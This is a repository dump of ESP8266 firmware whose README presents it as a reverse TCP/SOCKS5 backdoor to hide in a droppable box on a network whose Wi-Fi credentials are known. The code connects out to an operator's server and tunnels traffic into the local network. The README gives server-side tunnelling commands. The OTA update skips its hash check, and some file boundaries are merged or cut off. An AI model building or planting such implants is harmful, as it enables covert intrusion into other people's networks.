├── private_ssid_config.h ├── user ├── page.h ├── ota.h ├── captdns.h ├── webserver.h ├── reverse_tcp.h ├── config.h ├── flash.h ├── main.h ├── page.c ├── flash.c ├── ota.c ├── reverse_tcp.c ├── main.c ├── webserver.c └── captdns.c ├── .gitignore ├── Makefile ├── Readme.md ├── main.py └── socks5.py /private_ssid_config.h: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /user/page.h: -------------------------------------------------------------------------------- 1 | #ifndef PAGE_H 2 | #define PAGE_H 3 | 4 | char * page_content; 5 | 6 | #endif -------------------------------------------------------------------------------- /user/ota.h: -------------------------------------------------------------------------------- 1 | #ifndef OTA_H 2 | #define OTA_H 3 | void ota_start(const char * _ip); 4 | #endif 5 | -------------------------------------------------------------------------------- /user/captdns.h: -------------------------------------------------------------------------------- 1 | #ifndef CAPTDNS_H 2 | #define CAPTDNS_H 3 | 4 | void captdnsInit(void); 5 | #endif 6 | -------------------------------------------------------------------------------- /user/webserver.h: -------------------------------------------------------------------------------- 1 | #ifndef WEBSERVER_H 2 | #define WEBSERVER_H 3 | 4 | void webserverInit(void); 5 | 6 | #endif -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.bin 2 | user/wifis_spots.h 3 | user/user_config.h 4 | build/ 5 | eagle/*.b#* 6 | *.pyc 7 | *#* 8 | user/version.h 9 | -------------------------------------------------------------------------------- /user/reverse_tcp.h: -------------------------------------------------------------------------------- 1 | #ifndef REVERSE_TCP_H 2 | #define REVERSE_TCP_H 3 | 4 | void start_reverse_tcp(const char * _ip, int _port); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /user/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_HPP 2 | #define CONFIG_HPP 3 | 4 | #define DEFAULT_SSID "esp-rfid" 5 | #define TFTP_IMAGE_FILENAME "firmware.bin" 6 | 7 | #endif -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | PROGRAM=reverse_sock5 2 | PROGRAM_SRC_DIR=./user 3 | EXTRA_COMPONENTS=extras/rboot-ota extras/dhcpserver extras/http-parser 4 | 5 | include /home/mehdi/Mehdi/perso/esp-open-rtos/common.mk -------------------------------------------------------------------------------- /user/flash.h: -------------------------------------------------------------------------------- 1 | #ifndef FLASH_H 2 | #define FLASH_H 3 | 4 | 5 | void flash_erase_all(); 6 | int flash_key_value_set(const char *key,const char *value); 7 | int flash_key_value_get(char *key,char *value); 8 | 9 | #endif -------------------------------------------------------------------------------- /user/main.h: -------------------------------------------------------------------------------- 1 | #ifndef USER_MAIN_H 2 | #define USER_MAIN_H 3 | #include "espressif/esp_common.h" 4 | 5 | 6 | bool get_button_pressed(); 7 | bool is_connected(); 8 | bool load_server(char * _server, int *_port); 9 | bool load_network(struct sdk_station_config* _config); 10 | bool save_network(char * _essid, char *_password); 11 | bool save_server(char * _server, int _port); 12 | 13 | bool get_serial(uint8_t *_c); 14 | 15 | void set_green_led(bool _status); 16 | void set_green_led_blink(bool _status, unsigned int _frequency); 17 | void set_red_led(bool _status); 18 | void set_red_led_blink(bool _status, unsigned int _frequency); 19 | #endif -------------------------------------------------------------------------------- /user/page.c: -------------------------------------------------------------------------------- 1 | #include "page.h" 2 | 3 | char * page_content= "HTTP/1.0 200 OK\nContent-Type:text/html\n\nReverse-tcp SERIAL
Currently connected to http://SERVER:PORT via ESSID
Security check
wifi name
wifi password
Serverhttp://:
....
TIME_BUILD DATE_BUILD
GIT_VERSION \n"; 4 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | #Esp8266-reverse-socks5 2 | 3 | Reverse http proxy, reverse tcp, reverse socks5 proxy based on the esp8266. 4 | 5 | Once you know the wifi credential, this projects aims to setup a reverse tcp backdoor. 6 | 7 | It can be hidden in a dropable box or any usb powered devices 8 | 9 | ![blackbox open](https://github.com/mehdilauters/esp8266-wifiScanMap/raw/master/doc/blackbox_open.png) ![blackbox](https://github.com/mehdilauters/esp8266-wifiScanMap/raw/master/doc/usb.png) 10 | 11 | Uses the esp8266 with a known wifi access point to build a reverse socks5 tunnel. 12 | 13 | - Setup your esp-open-rtos path in the makefile 14 | - Flash and start the esp: ````make flash```` 15 | - wait it creates a configuration access point 16 | - connect to [http://172.16.0.1/](http://172.16.0.1/) 17 | - configure wifi and home server 18 | - do not forget to fill the ````Security check```` with the serial id as returned by ````sdk_system_get_chip_id()```` 19 | - reboot 20 | 21 | ## Socks5 proxy 22 | 23 | On the server side: 24 | ````python main.py -s -r 8888 -l 8889```` 25 | 26 | And then connect to localhost:8889 with a socks5 client to access the remote network. 27 | For ssh, it would be: 28 | 29 | ````ssh -v -o ProxyCommand='nc -X 5 -x 127.0.0.1:8889 %h %p' 192.168.x.x```` # remote local machine 30 | 31 | ## HTTP proxy 32 | 33 | On the server side: 34 | 35 | ````python main.py -p -r 8888 -l 8889```` 36 | 37 | ````HTTP_PROXY="127.0.0.1:8889" wget http://hackaday.com```` 38 | 39 | ## Raw TCP socket 40 | 41 | On the server side: 42 | 43 | 44 | ````python main.py -r 8888 -l 8889```` 45 | 46 | ````echo "hello from server" | nc localhost 8889```` 47 | -------------------------------------------------------------------------------- /user/flash.c: -------------------------------------------------------------------------------- 1 | #include "flash.h" 2 | #include "esp/spi.h" 3 | #include 4 | #include "espressif/esp_common.h" 5 | 6 | // #define START_SECTOR 0x3C 7 | // #define START_ADDRESS 0x3C000 8 | 9 | #define START_SECTOR 0x7E 10 | #define START_ADDRESS 0x7E000 11 | 12 | char *find_key(const char *key,char *settings) { 13 | 14 | int n; 15 | for(n=0;n<1024;n+=128) { 16 | if(strcmp(key,settings+n) == 0) return settings+n; 17 | } 18 | return 0; 19 | } 20 | 21 | static char *find_free(char *settings) { 22 | 23 | int n; 24 | for(n=0;n<1024;n+=128) { 25 | if(settings[n] == 0) return settings+n; 26 | } 27 | return 0; 28 | } 29 | 30 | void flash_erase_all() { 31 | char settings[1024]; 32 | 33 | int n; 34 | for(n=0;n<1024;n++) settings[n]=0; 35 | 36 | // ETS_UART_INTR_DISABLE(); 37 | sdk_spi_flash_erase_sector(START_SECTOR); 38 | sdk_spi_flash_write(START_ADDRESS,(uint32_t *)settings,1024); 39 | // ETS_UART_INTR_ENABLE(); 40 | } 41 | 42 | 43 | int flash_key_value_set(const char *key,const char *value) { 44 | 45 | if(strlen(key) > 64) return 1; 46 | if(strlen(value) > 64) return 1; 47 | 48 | char settings[1024]; 49 | sdk_spi_flash_read(START_ADDRESS, (uint32_t *) settings, 1024); 50 | 51 | char *location = find_key(key,settings); 52 | if(location == NULL) { 53 | location = find_free(settings); 54 | } 55 | 56 | if(location == NULL) return 0; 57 | 58 | strcpy(location,key); 59 | strcpy(location+64,value); 60 | 61 | // ETS_UART_INTR_DISABLE(); 62 | sdk_spi_flash_erase_sector(START_SECTOR); 63 | sdk_spi_flash_write(START_ADDRESS,(uint32_t*)settings,1024); 64 | // ETS_UART_INTR_ENABLE(); 65 | 66 | return 1; 67 | } 68 | 69 | int flash_key_value_get(char *key,char *value) { 70 | if(strlen(key) > 64) return 0; 71 | if(strlen(value) > 64) return 0; 72 | 73 | char settings[1024]; 74 | 75 | sdk_spi_flash_read(START_ADDRESS, (uint32_t *) settings, 1024); 76 | 77 | char *location = find_key(key,settings); 78 | 79 | if(location == NULL) { 80 | value[0]=0; 81 | return 0; 82 | } 83 | strcpy(value,location+64); 84 | return 1; 85 | } -------------------------------------------------------------------------------- /user/ota.c: -------------------------------------------------------------------------------- 1 | #include "ota.h" 2 | #include "config.h" 3 | #include "main.h" 4 | 5 | #include 6 | #include "FreeRTOS.h" 7 | #include "task.h" 8 | #include "esp8266.h" 9 | #include "ssid_config.h" 10 | // #include "mbedtls/sha256.h" 11 | 12 | #include "ota-tftp.h" 13 | #include "rboot-api.h" 14 | 15 | /* Output of the command 'sha256sum firmware1.bin' */ 16 | static const char *FIRMWARE1_SHA256 = ""; 17 | #define TFTP_PORT 69 18 | 19 | static char * m_ip; 20 | 21 | static void tftpclient_download_and_verify(int slot, rboot_config *conf) 22 | { 23 | char * filename = TFTP_IMAGE_FILENAME; 24 | printf("Downloading %s to slot %d...\n", filename, slot); 25 | int res = ota_tftp_download(m_ip, TFTP_PORT, filename, 1000, slot, NULL); 26 | printf("ota_tftp_download %s result %d\n", filename, res); 27 | 28 | if (res != 0) { 29 | return; 30 | } 31 | 32 | printf("Looks valid, calculating SHA256...\n"); 33 | uint32_t length; 34 | bool valid = rboot_verify_image(conf->roms[slot], &length, NULL); 35 | // static mbedtls_sha256_context ctx; 36 | // mbedtls_sha256_init(&ctx); 37 | // mbedtls_sha256_starts(&ctx, 0); 38 | // valid = valid && rboot_digest_image(conf->roms[slot], length, (rboot_digest_update_fn)mbedtls_sha256_update, &ctx); 39 | // static uint8_t hash_result[32]; 40 | // mbedtls_sha256_finish(&ctx, hash_result); 41 | // mbedtls_sha256_free(&ctx); 42 | 43 | if(!valid) 44 | { 45 | printf("Not valid after all :(\n"); 46 | return; 47 | } 48 | 49 | printf("Image SHA256 = "); 50 | valid = true; 51 | // for(int i = 0; i < sizeof(hash_result); i++) { 52 | // char hexbuf[3]; 53 | // snprintf(hexbuf, 3, "%02x", hash_result[i]); 54 | // printf(hexbuf); 55 | // if(strncmp(hexbuf, FIRMWARE1_SHA256+i*2, 2)) 56 | // valid = false; 57 | // } 58 | printf("\n"); 59 | 60 | if(!valid) { 61 | printf("Downloaded image SHA256 didn't match expected '%s'\n", FIRMWARE1_SHA256); 62 | return; 63 | } 64 | 65 | printf("SHA256 Matches. Rebooting into slot %d...\n", slot); 66 | rboot_set_current_rom(slot); 67 | sdk_system_restart(); 68 | } 69 | 70 | void start_client() { 71 | printf("TFTP client task starting...\n"); 72 | rboot_config conf; 73 | conf = rboot_get_config(); 74 | int slot = (conf.current_rom + 1) % conf.count; 75 | printf("Image will be saved in OTA slot %d.\n", slot); 76 | if(slot == conf.current_rom) { 77 | printf("FATAL ERROR: Only one OTA slot is configured!\n"); 78 | while(1) {} 79 | } 80 | 81 | 82 | tftpclient_download_and_verify(slot, &conf); 83 | } 84 | 85 | void otacheck_task(void *pvParameters) { 86 | while(1) { 87 | printf("=============%s\n",__TIME__); 88 | printf("Ota check"); 89 | 90 | rboot_config conf = rboot_get_config(); 91 | printf("\r\n\r\nOTA Basic demo.\r\nCurrently running on flash slot %d / %d.\r\n\r\n", 92 | conf.current_rom, conf.count); 93 | 94 | printf("Image addresses in flash:\r\n"); 95 | for(int i = 0; i 3 | #include "espressif/esp_common.h" 4 | #include "FreeRTOS.h" 5 | #include "task.h" 6 | 7 | #include "lwip/sockets.h" 8 | #include "lwip/err.h" 9 | #include "lwip/sys.h" 10 | #include 11 | 12 | 13 | char m_server[256]; 14 | char m_client[256]; 15 | int m_port; 16 | int m_port_client; 17 | 18 | int create_socket(char *_server, int _port) { 19 | int sockfd; 20 | struct sockaddr_in serverSockAddr; 21 | struct hostent *serverHostEnt; 22 | long hostAddr; 23 | bzero(&serverSockAddr,sizeof(serverSockAddr)); 24 | hostAddr = inet_addr(m_server); 25 | if ( (long)hostAddr != (long)-1) 26 | bcopy(&hostAddr,&serverSockAddr.sin_addr,sizeof(hostAddr)); 27 | else 28 | { 29 | serverHostEnt = gethostbyname(_server); 30 | if (serverHostEnt == NULL) 31 | { 32 | printf("gethost fail\n"); 33 | return -1; 34 | } 35 | bcopy(serverHostEnt->h_addr,&serverSockAddr.sin_addr,serverHostEnt->h_length); 36 | } 37 | serverSockAddr.sin_port = htons(_port); 38 | serverSockAddr.sin_family = AF_INET; 39 | 40 | if ( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0) { 41 | printf("failed to create socket\n"); 42 | return -1; 43 | } 44 | 45 | if(connect( sockfd, 46 | (struct sockaddr *)&serverSockAddr, 47 | sizeof(serverSockAddr)) < 0 ) { 48 | printf("conection failed\n"); 49 | return -1; 50 | } 51 | return sockfd; 52 | } 53 | 54 | char server_buffer[256]; 55 | char client_buffer[256]; 56 | int sockfd_server = -1; 57 | int sockfd_client = -1; 58 | 59 | TaskHandle_t server_client_task = NULL; 60 | TaskHandle_t client_server_task = NULL; 61 | bool running; 62 | 63 | void reverse_tcp_stop() { 64 | printf("Stopping...\n"); 65 | if(server_client_task != NULL) { 66 | vTaskDelete( server_client_task ); 67 | } 68 | 69 | if(client_server_task != NULL) { 70 | vTaskDelete( client_server_task ); 71 | } 72 | 73 | server_client_task = NULL; 74 | client_server_task = NULL; 75 | 76 | if(sockfd_client != -1) { 77 | close(sockfd_client); 78 | } 79 | 80 | if(sockfd_server != -1) { 81 | close(sockfd_server); 82 | } 83 | 84 | sockfd_client = -1; 85 | sockfd_server = -1; 86 | printf("Stopped...\n"); 87 | } 88 | 89 | void reverse_tcp_client_to_server(void *pvParameters) { 90 | while(true) { 91 | int res = read(sockfd_client, client_buffer, sizeof(client_buffer)); 92 | if(res > 0) { 93 | write(sockfd_server, client_buffer, res); 94 | vTaskDelay(100 / portTICK_PERIOD_MS ); 95 | } else { 96 | printf("client read error\n"); 97 | vTaskDelay(100); 98 | reverse_tcp_stop(); 99 | } 100 | } 101 | } 102 | 103 | void reverse_tcp_server_to_client(void *pvParameters) { 104 | while(true) { 105 | memset(server_buffer, 0, sizeof(server_buffer)); 106 | int res = read(sockfd_server, server_buffer, sizeof(server_buffer)); 107 | if(res > 0) { 108 | if(sockfd_client < 0) { 109 | char * newline = strstr(server_buffer, "\n"); 110 | char * separator = strstr(server_buffer, ":"); 111 | if(separator != NULL) { 112 | int value_len = separator - server_buffer; 113 | memcpy(m_client, server_buffer, value_len); 114 | m_client[value_len] = '\0'; 115 | char *p = server_buffer + value_len + 1; // ":" length 116 | m_port_client = strtol(p, NULL, 10); 117 | printf("Tunneling %s:%d <=> %s:%d\n", m_server, m_port, m_client, m_port_client); 118 | sockfd_client = create_socket(m_client, m_port_client); 119 | if(sockfd_client < 0) { 120 | printf("Could not connect to client\n"); 121 | } else { 122 | printf("Tunnel started\n"); 123 | xTaskCreate(reverse_tcp_client_to_server, (const char *)"reverse_tcp_client_to_server", 512, NULL, 1, &client_server_task); 124 | char *data = newline+1; 125 | int length = res - (data - server_buffer); 126 | if(length < res) { 127 | write(sockfd_client, data, length); 128 | } 129 | } 130 | } 131 | } else { 132 | write(sockfd_client, server_buffer, res); 133 | } 134 | vTaskDelay(100 / portTICK_PERIOD_MS ); 135 | } else { 136 | printf("server read error\n"); 137 | running = false; 138 | vTaskDelay(100); 139 | } 140 | } 141 | } 142 | 143 | void reverse_tcp_task(void *pvParameters) { 144 | while(1) { 145 | printf("Connecting to %s:%d\n",m_server, m_port); 146 | running = true; 147 | sockfd_server = create_socket(m_server, m_port); 148 | bool start = true; 149 | if(sockfd_server < 0) { 150 | printf("Could not connect to server\n"); 151 | start = false; 152 | } 153 | 154 | if(start) { 155 | printf("starting...\n"); 156 | xTaskCreate(reverse_tcp_server_to_client, (const char *)"reverse_tcp_server_to_client", 512, NULL, 1, &server_client_task); 157 | while(running) vTaskDelay(100); 158 | reverse_tcp_stop(); 159 | vTaskDelay(100); 160 | } 161 | 162 | 163 | // sockfd_client = create_socket(m_client, m_port_client); 164 | // if(sockfd_client < 0) { 165 | // printf("Could not connect to server\n"); 166 | // if(sockfd_server >= 0) { 167 | // close(sockfd_server); 168 | // } 169 | // start = false; 170 | // } 171 | // 172 | // if(start) { 173 | // xTaskCreate(reverse_tcp_client_to_server, (const char *)"reverse_tcp_client_to_server", 512, NULL, 1, &client_server_task); 174 | // reverse_tcp_stop(); 175 | // } 176 | vTaskDelay(1000 / portTICK_PERIOD_MS); 177 | } 178 | } 179 | 180 | 181 | void start_reverse_tcp(const char * _server, int _port) { 182 | memcpy(m_server, _server, strlen(_server)); 183 | m_port = _port; 184 | xTaskCreate(reverse_tcp_task, (const char *)"reverse_tcp_task", 512, NULL, 1, NULL); 185 | } -------------------------------------------------------------------------------- /user/main.c: -------------------------------------------------------------------------------- 1 | #include "rboot-api.h" 2 | 3 | 4 | #include "reverse_tcp.h" 5 | #include "config.h" 6 | #include "espressif/esp_common.h" 7 | #include "esp/uart.h" 8 | #include "FreeRTOS.h" 9 | #include "task.h" 10 | #include "flash.h" 11 | #include 12 | 13 | #include 14 | #include 15 | 16 | #include "webserver.h" 17 | #include "ota.h" 18 | 19 | #include 20 | 21 | static bool _is_connected; 22 | struct sdk_station_config wifi_config; 23 | 24 | bool save_network(char * _essid, char *_password) { 25 | printf("saving essid=%s, password=%s to flash\n",_essid, _password); 26 | int res_ssid = flash_key_value_set("ssid",_essid); 27 | int res_wpa = flash_key_value_set("pwd",_password); 28 | if(res_ssid == 0 || res_wpa == 0) { 29 | printf("Error saving to flash\n"); 30 | flash_erase_all(); 31 | return save_network(_essid, _password); 32 | } 33 | 34 | return true; 35 | } 36 | 37 | bool load_network(struct sdk_station_config* _config) { 38 | printf("LOADING\n"); 39 | char buffer[128]; 40 | int res = flash_key_value_get("ssid",buffer); 41 | if(res == 0) { 42 | printf("n: no ssid\n"); 43 | return false; 44 | } 45 | 46 | strcpy((char*)_config->ssid, buffer); 47 | 48 | res = flash_key_value_get("pwd",buffer); 49 | if(res == 0) { 50 | printf("n: no pwd\n"); 51 | return false; 52 | } 53 | 54 | strcpy((char*)_config->password, buffer); 55 | printf("found %s\n", _config->ssid); 56 | return true; 57 | } 58 | 59 | 60 | bool save_server(char * _server, int _port) { 61 | printf("saving server http://%s:%d to flash\n",_server, _port); 62 | int res_server = flash_key_value_set("server",_server); 63 | 64 | char port[5]; 65 | if(sprintf(port, "%d", _port)) { 66 | int res_port = flash_key_value_set("port",port); 67 | 68 | if(res_server == 0 || res_port == 0) { 69 | printf("Error saving to flash\n"); 70 | flash_erase_all(); 71 | return false; 72 | } 73 | } else { 74 | printf("bad port %d\n", _port); 75 | } 76 | 77 | return false; 78 | } 79 | 80 | bool load_server(char * _server, int *_port) { 81 | int res_server = flash_key_value_get("server",_server); 82 | char buffer[5]; 83 | int res_port = flash_key_value_get("port",buffer); 84 | 85 | if(res_server == 1 && res_port == 1) { 86 | if( _port != NULL ) { 87 | *_port = strtol(buffer, NULL, 10); 88 | } 89 | return true; 90 | } else { 91 | return false; 92 | } 93 | } 94 | 95 | 96 | bool get_button_pressed() { 97 | return gpio_read(0) != false; 98 | } 99 | 100 | void connect(struct sdk_station_config* _config) { 101 | printf("connecting to %s\n",_config->ssid); 102 | sdk_wifi_set_opmode(STATION_MODE); 103 | sdk_wifi_station_set_config(_config); 104 | } 105 | 106 | void setup_ap() { 107 | printf("creating %s\n", DEFAULT_SSID); 108 | 109 | sdk_wifi_set_opmode(SOFTAP_MODE); 110 | struct ip_info ap_ip; 111 | IP4_ADDR(&ap_ip.ip, 172, 16, 0, 1); 112 | IP4_ADDR(&ap_ip.gw, 0, 0, 0, 0); 113 | IP4_ADDR(&ap_ip.netmask, 255, 255, 0, 0); 114 | sdk_wifi_set_ip_info(1, &ap_ip); 115 | 116 | struct sdk_softap_config ap_config = { 117 | .ssid = DEFAULT_SSID, 118 | .ssid_hidden = 0, 119 | .channel = 3, 120 | .ssid_len = strlen(DEFAULT_SSID), 121 | .authmode = AUTH_OPEN, 122 | .password = "", 123 | .max_connection = 3, 124 | .beacon_interval = 100, 125 | }; 126 | sdk_wifi_softap_set_config(&ap_config); 127 | 128 | ip_addr_t first_client_ip; 129 | IP4_ADDR(&first_client_ip, 172, 16, 0, 2); 130 | dhcpserver_start(&first_client_ip, 4); 131 | captdnsInit(); 132 | } 133 | 134 | bool is_connected() { 135 | return _is_connected; 136 | } 137 | 138 | 139 | static void wifi_task(void *pvParameters) { 140 | uint8_t status = 0; 141 | uint8_t retries = 30; 142 | while (1) { 143 | _is_connected = false; 144 | 145 | while ((status != STATION_GOT_IP) && (retries)) { 146 | status = sdk_wifi_station_get_connect_status(); 147 | printf("%s: status = %d\n\r", __func__, status); 148 | --retries; 149 | if (status == STATION_WRONG_PASSWORD) { 150 | printf("WiFi: wrong password\n\r"); 151 | break; 152 | } else if (status == STATION_NO_AP_FOUND) { 153 | printf("WiFi: AP not found\n\r"); 154 | break; 155 | } else if (status == STATION_CONNECT_FAIL) { 156 | printf("WiFi: connection failed\r\n"); 157 | break; 158 | } 159 | vTaskDelay(1000 / portTICK_PERIOD_MS); 160 | } 161 | 162 | if(retries == 0) { 163 | setup_ap(); 164 | while(true) { 165 | vTaskDelay(1000 / portTICK_PERIOD_MS); 166 | } 167 | } 168 | 169 | while ((status = sdk_wifi_station_get_connect_status()) 170 | == STATION_GOT_IP) { 171 | if ( ! _is_connected ) { 172 | printf("WiFi: Connected\n\r"); 173 | _is_connected = true; 174 | 175 | char buffer[256]; 176 | memset(buffer, 0, 256); 177 | int port; 178 | if(load_server(buffer, &port)) { 179 | start_reverse_tcp(buffer, port); 180 | } 181 | } 182 | vTaskDelay(500 / portTICK_PERIOD_MS); 183 | } 184 | 185 | _is_connected = false; 186 | printf("WiFi: disconnected\n\r"); 187 | vTaskDelay(1000 / portTICK_PERIOD_MS); 188 | } 189 | } 190 | 191 | //Init function 192 | void user_init() { 193 | _is_connected = false; 194 | uart_set_baud(0, 9600); 195 | 196 | 197 | uint32_t id = sdk_system_get_chip_id(); 198 | printf("#%d\n", id); 199 | webserverInit(); 200 | 201 | 202 | if( load_network(&wifi_config)) { 203 | connect(&wifi_config); 204 | xTaskCreate(wifi_task, (const char *)"wifi_task", 512, NULL, 1, NULL);//1024,866 205 | } else { 206 | flash_erase_all(); 207 | setup_ap(); 208 | } 209 | } 210 | -------------------------------------------------------------------------------- /user/webserver.c: -------------------------------------------------------------------------------- 1 | #include "webserver.h" 2 | #include "ota.h" 3 | #include "espressif/esp_common.h" 4 | #include "config.h" 5 | #include 6 | 7 | #include "FreeRTOS.h" 8 | #include "task.h" 9 | #include "queue.h" 10 | 11 | #include "lwip/sockets.h" 12 | #include "lwip/err.h" 13 | #include "lwip/sys.h" 14 | 15 | #include "http-parser/http_parser.h" 16 | #include "page.h" 17 | #include "main.h" 18 | 19 | #define BACKLOG 10 20 | #define MAX_POST_REQUEST_SIZE 2048 21 | 22 | const char * path_start = NULL; 23 | int path_length = 0; 24 | 25 | const char * data_start = NULL; 26 | int data_length = 0; 27 | 28 | char* replace(char* str, char* a, char* b) 29 | { 30 | int len = strlen(str); 31 | int lena = strlen(a), lenb = strlen(b); 32 | char *p; 33 | for (p = str; (p = strstr(p, a)); ++p) { 34 | if (lena != lenb) // shift end as needed 35 | memmove(p+lenb, p+lena, 36 | len - (p - str) + lenb); 37 | memcpy(p, b, lenb); 38 | p+=strlen(b); 39 | } 40 | return str; 41 | } 42 | 43 | int create_and_bind() { 44 | int yes=1; 45 | struct sockaddr_in my_addr; 46 | int sockfd = 0; 47 | int portf = 80; 48 | 49 | if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { 50 | perror("socket"); 51 | return -1; 52 | } 53 | 54 | if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) { 55 | perror("setsockopt"); 56 | return -1; 57 | } 58 | 59 | my_addr.sin_family = AF_INET; 60 | my_addr.sin_port = htons(portf); 61 | my_addr.sin_addr.s_addr = INADDR_ANY; 62 | memset(&(my_addr.sin_zero), '\0', 8); 63 | 64 | if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { 65 | perror("bind"); 66 | return -1; 67 | } 68 | 69 | if (listen(sockfd, BACKLOG) == -1) { 70 | perror("listen"); 71 | return -1; 72 | } 73 | return sockfd; 74 | } 75 | 76 | static bool http_get_post_value(const char *_data, const char * _key, char *_output) { 77 | char start_key[64]; 78 | const char * key_end = "\r\n--"; 79 | if(sprintf(start_key, "name=\"%s\"\r\n\r\n", _key) > 0) { 80 | char * value_start = strstr(_data, start_key); 81 | if(value_start != NULL) { 82 | value_start += strlen(start_key); 83 | char * value_end = strstr(value_start, key_end); 84 | 85 | int value_len = value_end - value_start; 86 | memcpy(_output, value_start, value_len); 87 | _output[value_len] = '\0'; 88 | return true; 89 | } 90 | } 91 | _output[0] = '\0'; 92 | return false; 93 | } 94 | 95 | int my_url_callback (http_parser* _parser, const char *at, size_t length) { 96 | printf("my_url_callback\n"); 97 | 98 | path_start = at; 99 | path_length = length; 100 | 101 | char format[10]; 102 | memset(format, 0, 10); 103 | sprintf(format, "%%.%ds\n", length); 104 | 105 | printf(format,path_start); 106 | return 0; 107 | } 108 | 109 | int my_body_callback (http_parser* _parser, const char *at, size_t length) { 110 | printf("===BODY===========\n"); 111 | 112 | data_start = at; 113 | data_length = length; 114 | 115 | char format[10]; 116 | memset(format, 0, 10); 117 | sprintf(format, "%%.%ds\n", length); 118 | 119 | // printf(format,data_start); 120 | 121 | // really really basic security check 122 | bool check = false; 123 | uint32_t id = sdk_system_get_chip_id(); 124 | char security[5]; 125 | if( http_get_post_value(data_start, "security", security) ) { 126 | uint32_t _id = strtol(security, NULL, 10); 127 | if(id == _id) { 128 | check = true; 129 | } 130 | } 131 | if(! check) { 132 | return 0; 133 | } 134 | bool reset = false; 135 | char essid[33]; 136 | char password[128]; 137 | 138 | bool res = http_get_post_value(data_start, "essid", essid); 139 | res &= http_get_post_value(data_start, "password", password); 140 | 141 | 142 | if(res && essid[0] != '\0' && password[0] != '\0') { 143 | reset = save_network(essid, password); 144 | } 145 | 146 | char server[128]; 147 | char port[5]; 148 | 149 | res = http_get_post_value(data_start, "server", server); 150 | res &= http_get_post_value(data_start, "port", port); 151 | 152 | if(res && server[0] != '\0' && port[0] != '\0') { 153 | int port_number = strtol(port, NULL, 10); 154 | save_server(server, port_number); 155 | reset = true; 156 | } 157 | char upg[256]; 158 | memset(upg, 0, 256); 159 | res = http_get_post_value(data_start, "upgrade", upg); 160 | if(res && strcmp(upg, "upgrade") == 0) { 161 | struct sockaddr_in addr; 162 | socklen_t addr_size = sizeof(struct sockaddr_in); 163 | if(getpeername(*((int*)_parser->data), (struct sockaddr *)&addr, &addr_size) == 0 ) { 164 | const char * ip = inet_ntoa(addr.sin_addr); 165 | printf("fetching upg from %s\n", ip); 166 | ota_start(ip); 167 | } else { 168 | printf("Could not get client ip\n"); 169 | } 170 | } 171 | 172 | if(reset) { 173 | printf("RESET\n"); 174 | sdk_system_restart(); 175 | } 176 | 177 | return 0; 178 | } 179 | 180 | char buffer[MAX_POST_REQUEST_SIZE]; 181 | void handle(int _sockfd, struct sockaddr_in *_addr) { 182 | path_start = NULL; 183 | path_length = 0; 184 | 185 | data_start = NULL; 186 | data_length = 0; 187 | 188 | printf ("handle\n"); 189 | memset(buffer, 0, MAX_POST_REQUEST_SIZE); 190 | int recved = read(_sockfd, buffer, MAX_POST_REQUEST_SIZE); 191 | if (recved < 0 ) { 192 | printf(" read error\n"); 193 | return; 194 | } 195 | printf("received %d\n%s\n",recved,buffer); 196 | 197 | 198 | // https://github.com/nodejs/http-parser 199 | 200 | http_parser_settings settings = { 201 | /* on_message_begin */ 0, 202 | /* on_url */ 0, 203 | /* on_status */ 0, 204 | /* on_header_field */ 0, 205 | /* on_header_value */ 0, 206 | /* on_headers_complete */ 0, 207 | /* on_body */ 0, 208 | /* on_message_complete */ 0, 209 | /* on_chunk_header */ 0, 210 | /* on_chunk_complete */ 0 211 | }; 212 | 213 | settings.on_url = my_url_callback; 214 | settings.on_body = my_body_callback; 215 | 216 | http_parser *parser = malloc(sizeof(http_parser)); 217 | http_parser_init(parser, HTTP_REQUEST); 218 | parser->data = &_sockfd; 219 | 220 | 221 | /* Start up / continue the parser. 222 | * Note we pass recved==0 to signal that EOF has been received. 223 | */ 224 | int nparsed = http_parser_execute(parser, &settings, buffer, recved); 225 | 226 | if (parser->upgrade) { 227 | /* handle new protocol */ 228 | } else if (nparsed != recved) { 229 | /* Handle error. Usually just close the connection. */ 230 | } 231 | 232 | int size = strlen(page_content)+128; 233 | char buffer[size]; 234 | memset(buffer,0,size); 235 | sprintf(buffer, "%s", page_content); 236 | 237 | uint32_t id = sdk_system_get_chip_id(); 238 | char id_buff[10]; 239 | sprintf(id_buff, "%d", id); 240 | replace(buffer, "SERIAL", id_buff); 241 | 242 | struct sdk_station_config config; 243 | if(load_network(&config)) { 244 | replace(buffer, "ESSID", (char*)config.ssid); 245 | } else { 246 | replace(buffer, "ESSID", "NONE"); 247 | } 248 | 249 | char server[256]; 250 | memset(server, 0, 256); 251 | int port = 0; 252 | if(load_server(server, &port)) { 253 | 254 | replace(buffer, "SERVER", server); 255 | char tmp[5]; 256 | sprintf(tmp, "%d", port); 257 | replace(buffer, "PORT", tmp); 258 | } else { 259 | replace(buffer, "SERVER", "0.0.0.0"); 260 | replace(buffer, "PORT", "-1"); 261 | } 262 | 263 | write(_sockfd, buffer, strlen(buffer)); 264 | close(_sockfd); 265 | } 266 | 267 | void webserver_task(void *pvParameters) { 268 | int sockfd = create_and_bind(); 269 | 270 | while(1) { 271 | socklen_t sin_size; 272 | int new_fd = 0; 273 | sin_size = sizeof(struct sockaddr_in); 274 | struct sockaddr_in their_addr; 275 | if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) { 276 | perror("accept"); 277 | return; 278 | } 279 | handle(new_fd, &their_addr); 280 | } 281 | } 282 | 283 | void webserverInit() { 284 | printf("starting webserver\n"); 285 | xTaskCreate(webserver_task, (const char *)"webserver_task", 1024, NULL, 3, NULL);//1024,866 286 | } 287 | -------------------------------------------------------------------------------- /user/captdns.c: -------------------------------------------------------------------------------- 1 | 2 | #include "espressif/esp_common.h" 3 | 4 | #include 5 | 6 | #include "FreeRTOS.h" 7 | #include "task.h" 8 | #include "queue.h" 9 | 10 | #include "lwip/sockets.h" 11 | #include "lwip/err.h" 12 | #include 